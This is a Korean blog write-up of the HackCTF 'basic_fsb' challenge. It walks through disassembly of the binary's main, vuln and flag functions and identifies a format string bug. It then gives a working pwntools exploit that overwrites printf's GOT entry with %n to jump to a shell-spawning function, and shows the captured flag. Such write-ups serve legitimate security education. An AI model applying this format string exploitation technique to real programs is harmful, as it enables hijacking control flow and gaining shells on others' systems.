주어진 파일을 먼저 disassemble 해보자.
Dump of assembler code for function main:
0x080485ed <+0>: lea ecx,[esp+0x4]
0x080485f1 <+4>: and esp,0xfffffff0
0x080485f4 <+7>: push DWORD PTR [ecx-0x4]
0x080485f7 <+10>: push ebp
0x080485f8 <+11>: mov ebp,esp
0x080485fa <+13>: push ecx
0x080485fb <+14>: sub esp,0x4
0x080485fe <+17>: mov eax,ds:0x804a044
0x08048603 <+22>: push 0x0
0x08048605 <+24>: push 0x2
0x08048607 <+26>: push 0x0
0x08048609 <+28>: push eax
0x0804860a <+29>: call 0x8048420 <setvbuf@plt>
0x0804860f <+34>: add esp,0x10
0x08048612 <+37>: call 0x804854b <vuln>
0x08048617 <+42>: mov eax,0x0
0x0804861c <+47>: mov ecx,DWORD PTR [ebp-0x4]
0x0804861f <+50>: leave
0x08048620 <+51>: lea esp,[ecx-0x4]
0x08048623 <+54>: ret
End of assembler dump.
setvbuf를 통해 입력 버퍼를 초기화 시켜주고, vuln을 실행시킨다. vuln도 마찬가지로 disassemble 해주자.
Dump of assembler code for function vuln:
0x0804854b <+0>: push ebp
0x0804854c <+1>: mov ebp,esp
0x0804854e <+3>: sub esp,0x808
0x08048554 <+9>: sub esp,0xc
0x08048557 <+12>: push 0x80486b0
0x0804855c <+17>: call 0x80483d0 <printf@plt>
0x08048561 <+22>: add esp,0x10
0x08048564 <+25>: mov eax,ds:0x804a040
0x08048569 <+30>: sub esp,0x4
0x0804856c <+33>: push eax
0x0804856d <+34>: push 0x400
0x08048572 <+39>: lea eax,[ebp-0x808]
0x08048578 <+45>: push eax
0x08048579 <+46>: call 0x80483e0 <fgets@plt>
0x0804857e <+51>: add esp,0x10
0x08048581 <+54>: sub esp,0x4
0x08048584 <+57>: lea eax,[ebp-0x808]
0x0804858a <+63>: push eax
0x0804858b <+64>: push 0x400
0x08048590 <+69>: lea eax,[ebp-0x408]
0x08048596 <+75>: push eax
0x08048597 <+76>: call 0x8048430 <snprintf@plt>
0x0804859c <+81>: add esp,0x10
0x0804859f <+84>: sub esp,0xc
0x080485a2 <+87>: lea eax,[ebp-0x408]
0x080485a8 <+93>: push eax
0x080485a9 <+94>: call 0x80483d0 <printf@plt>
0x080485ae <+99>: add esp,0x10
0x080485b1 <+102>: nop
0x080485b2 <+103>: leave
0x080485b3 <+104>: ret
End of assembler dump.
처음 printf 에서 "input : "을 출력한다.
이후 fgets를 통해 0x400만큼 값을 입력받아온다.
snprintf를 통해 입력받아온 값을 다른 변수에 옮긴 다음 이 변수에 저장되어 있는 값을 그대로 printf의 인자로 넣어서 나온 값을 리턴해준다.
flag라는 함수도 disassemble 해주면 다음과 같다.
Dump of assembler code for function flag:
0x080485b4 <+0>: push ebp
0x080485b5 <+1>: mov ebp,esp
0x080485b7 <+3>: sub esp,0x8
0x080485ba <+6>: sub esp,0xc
0x080485bd <+9>: push 0x80486bc
0x080485c2 <+14>: call 0x80483f0 <puts@plt>
0x080485c7 <+19>: add esp,0x10
0x080485ca <+22>: sub esp,0xc
0x080485cd <+25>: push 0x80486ec
0x080485d2 <+30>: call 0x80483f0 <puts@plt>
0x080485d7 <+35>: add esp,0x10
0x080485da <+38>: sub esp,0xc
0x080485dd <+41>: push 0x8048718
0x080485e2 <+46>: call 0x8048400 <system@plt>
0x080485e7 <+51>: add esp,0x10
0x080485ea <+54>: nop
0x080485eb <+55>: leave
0x080485ec <+56>: ret
End of assembler dump.
보면 단순하게 두 문자를 출력하고 system함수를 통해 쉘을 따는 함수임을 알 수 있다.
즉, 앞의 vuln에서 printf가 return되는 문장을 활용하면 exploit을 할 수 있을 것 같다.
exploit코드는 다음과 같다.
{printf의 got} + (flag 주소 - 4byte)의 공백 + %n
이를 바탕으로 구현한 exploit코드는 다음과 같다.
from pwn import *
#p = process("./basic_fsb")
p = remote("ctf.j0n9hyun.xyz",3002)
printf_got = 0x804a00c
flag = 0x80485b4
p.recvuntil("input : ")
payload = ''
payload += p32(printf_got)
payload += '%%%d'%(flag - 4)
payload += 'c%n'
p.sendline(payload)
p.interactive()
프로그램을 실행시키면,
FLAG : HackCTF{여보게_오늘_반찬은_포맷스트링이_어떠한가?}
반응형
'WriteUp > HackCTF' 카테고리의 다른 글
[HackCTF] x64 simple_size_BOF (0) | 2021.08.08 |
---|---|
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.08.08 |
[HackCTF] gift (0) | 2021.08.08 |
[HackCTF] RTL_World (0) | 2021.08.08 |
[HackCTF] ROP (0) | 2021.08.08 |